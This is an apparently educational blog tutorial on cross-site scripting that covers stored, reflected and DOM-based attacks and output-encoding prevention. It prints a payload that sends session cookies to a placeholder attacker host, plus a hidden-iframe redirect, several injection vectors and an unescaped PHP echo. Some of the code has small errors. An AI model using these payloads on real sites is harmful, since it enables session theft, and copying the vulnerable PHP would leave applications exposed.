Cross Site Scripting


Cross Site Scripting (XSS) is a name of one of the most common vulnerability in web applications. It's third in the list of the newest OWASP Top Ten document so it's essential to know how it works.

Browsers diplay the content of a website using a mix of HTML (HyperText Markup Language which is a core of a webpage) and JavaScript responsible for making things run in response of events (like clicking a button). Of course there are other essential elements like CSS to style the webpage but in order to perform a XSS attack we will only need HTML and Javascript.

Essence of XSS attack is to inject some malicous code (for example Javascript or other scripting language that can be opened in a browser) into the browser of client using vulnerable web application. That way, an attacker has an ability to execute any malicious code in victim's browser.

But why is it so powerul? Let's consider this example: You're running some simple WordPress website with small audience. As you don't want spammers to make comments under your posts, you enable the option to only publish comments allowed by yourself. In the meantime some malicous hacker wanted to destroy your webpage (who knows why but there are still people like that). He firstly tests if you really have to allow comments, and then injects into the comment box malicious JavaScript code that will steal cookies and send them to him. Now as you've got a notification that someone published a new comment, you open the WordPress admin page to see what someone has written. In the moment you view this comment, this malicous code steals your admin cookie and sends it to the attacker. Few hours later your site has been pawned.

Powefull, right? But enough story time for today, let's jump into some technical details.

Potential results of XSS attack

  • Stealing session cookies

    With that attacker is being able to steal someone's logged session - like in the story.

    <svg onload=fetch(‘//HOST/?cookie=’+document.cookie)>
  • Substituting a content of a website

    Users can be tricked into thinking that "Your site have been hacked".

    <svg onload=”document.body.innerHTML='<img src=//HOST/IMAGE>'”>
  • Capture the keys pressed by the user

    Ability to log what someone is writing... I don't have to say why it's useful ;)

  • Crash the browser

    Local Denial Of Service Attack. Mostly frustrating.

  • Redirect user’s browser to another website

    Attacker can redirect the browser to another webpage that may be prepared with some customized malware ready to attack victims operating system.

    <iframe src=//HOST/ style=display:none></iframe>
  • Creating fake HTML form

    Where an attacker would be able to trick user into entering their credentials and form would send them to an attacker.

Types of XSS attacks

Persistent (stored) XSS - This type of attack relies on the fact that webpage may store some input, or file in a database. Just like in our story, comments were stored in the WordPress database. It consists of injecting the javascript code into the server side. That's why it's called stored. Every user that sees this stored content is a potential victim.

Reflected XSS - When the website or application just reflects back content maliciously manipulated by user (usually in the URL), we have a reflected XSS attack. Victim usually unwittingly opens a link with some JavaScript code which is sent to the web application. Then this application sends back (that's why reflected) whatever the victim asked for with this JavaScript code resulting in executing it in the browser.

Let's take a look at this simple PHP code:

$username = $_GET[user];
echo <h1>Welcome,  . $username . !</h1>;

Which would take an username from the URL just like that:

http://example.com/welcome.php?user=Mike

If you open the web and view the source code it would look like this

<h1>Hello, John!</h1>

But what if we swap the name with some JavaScript code?

http://example.com/welcome.php?user=<script>alert("XSS")</script>

After checking the source code of the same webpage opened with this URL, you would notice that the alert box with "XSS" text was triggered.

<h1>Hello, <script>alert("XSS")</script>!</h1>

Now with that knowledge you can enter some more malicous code. Reflected XSS attack ready ;)

DOM Based XSS is an attack where the malicious code is executed as a result of modyfing DOM (Document Object Model). It's rarest type of XSS attack. Read more at OWASP.

XSS Examples

1. With script tag

<script>alert("XSS")</script>

2. With body tag

<p><body onload=alert("XSS")></p>

3. With img tag

<p><img src="blabla" onerror="alert("XSS")></img></p>

4. Or any other tag

<svg onload=alert("XSS")>
<x onmouseover=alert("XSS")>

5. Resource tag like iframe

<iframe src=javascript:alert("XSS")>

6. Or object tag

<object data=javascript:alert("XSS")>

How to prevent XSS?

All right, as we know how XSS attacks works, let's move on to prevention. Essential thing to do is to filter any data sent from the user before viewing them in application (like "<" and ">", tag attributes or HTML entities ).

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     
/ --> &#x2F;

That method will prevent most of the XSS attacks but for the most sophisticated ones it may be helpful to read XSS Prevention Sheet. Another helpful thing would be prevention on the client side - like installing NoScript addition.

As always - thanks for reading and exploring this topic with me. Now after better understanding of XSS we can look for vulnerabilities in many different web applications.

Keep learning and stay safe! ~ W3ndige